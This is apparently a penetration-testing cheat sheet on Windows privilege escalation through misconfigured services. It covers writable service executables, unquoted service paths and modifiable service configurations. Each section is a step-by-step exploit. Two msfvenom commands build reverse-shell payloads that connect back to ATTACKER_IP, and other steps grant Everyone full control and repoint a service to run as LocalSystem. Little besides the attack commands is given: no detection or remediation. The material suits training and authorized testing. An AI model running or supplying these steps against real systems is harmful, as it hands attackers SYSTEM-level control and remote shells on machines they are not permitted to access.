# Windows Services

## **Service Configuration Basics**

* **Location of Service Configurations**:

  ```
  HKLM\SYSTEM\CurrentControlSet\Services\
  ```
* **Listing All Services**:

  ```cmd
  sc query
  ```

***

## **1. Insecure Permissions on Service Executable**

**Steps to Exploit:**

1. **Find the Service Executable**:

   ```cmd
   sc qc <SERVICE_NAME>
   ```
2. **Check Permissions on the Executable**:

   ```cmd
   icacls <EXECUTABLE_PATH>
   ```
3. **Exploitation Steps** (if the user can modify the executable):
   * **Create a Malicious Payload**:

     ```cmd
     msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o <SERVICE_EXECUTABLE>
     ```
   * **Grant Full Permissions (if needed)**:

     ```cmd
     icacls <SERVICE_EXECUTABLE> /grant Everyone:F
     ```
   * **Trigger the Service**:

     ```cmd
     sc stop <SERVICE_NAME>
     sc start <SERVICE_NAME>
     ```

***

## **2. Unquoted Service Path Vulnerability**

**Description:**

* This vulnerability arises when the executable path of a service is **not quoted** and contains spaces.
* **How It Works**:
  * The Service Control Manager (SCM) looks for the executable path recursively in different locations.
  * Example Path: `C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe`
  * Search Order:
    1. `C:\MyPrograms\Disk.exe`
    2. `C:\MyPrograms\Disk Sorter.exe`
    3. `C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe` (default)

**Exploitation Steps:**

1. **Create a Malicious Binary**:
   * Name it to match a higher-priority path (e.g., `C:\MyPrograms\Disk.exe`).
2. **Upload and Trigger the Binary**:
   * Restart the service to run the malicious binary:

     ```cmd
     sc stop <SERVICE_NAME>
     sc start <SERVICE_NAME>
     ```

***

## **3. Insecure Service Permissions**

**Description:**

* This vulnerability occurs when a user can modify the service configuration.

**Steps to Exploit:**

1. **Check Service Configuration Rights**:

   ```cmd
   accesschk64.exe -qlc <SERVICE_NAME>
   ```

   * *Note*: Download `accesschk` from Sysinternals.
2. **Create a Malicious Payload**:

   ```cmd
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o <EXECUTABLE>
   ```
3. **Grant Full Permissions on the Payload**:

   ```cmd
   icacls <EXECUTABLE> /grant Everyone:F
   ```
4. **Modify the Service Configuration**:

   ```cmd
   sc config <SERVICE_NAME> binPath= "<EXECUTABLE>" obj= LocalSystem
   ```
5. **Trigger the Service**:

   ```cmd
   sc stop <SERVICE_NAME>
   sc start <SERVICE_NAME>
   ```
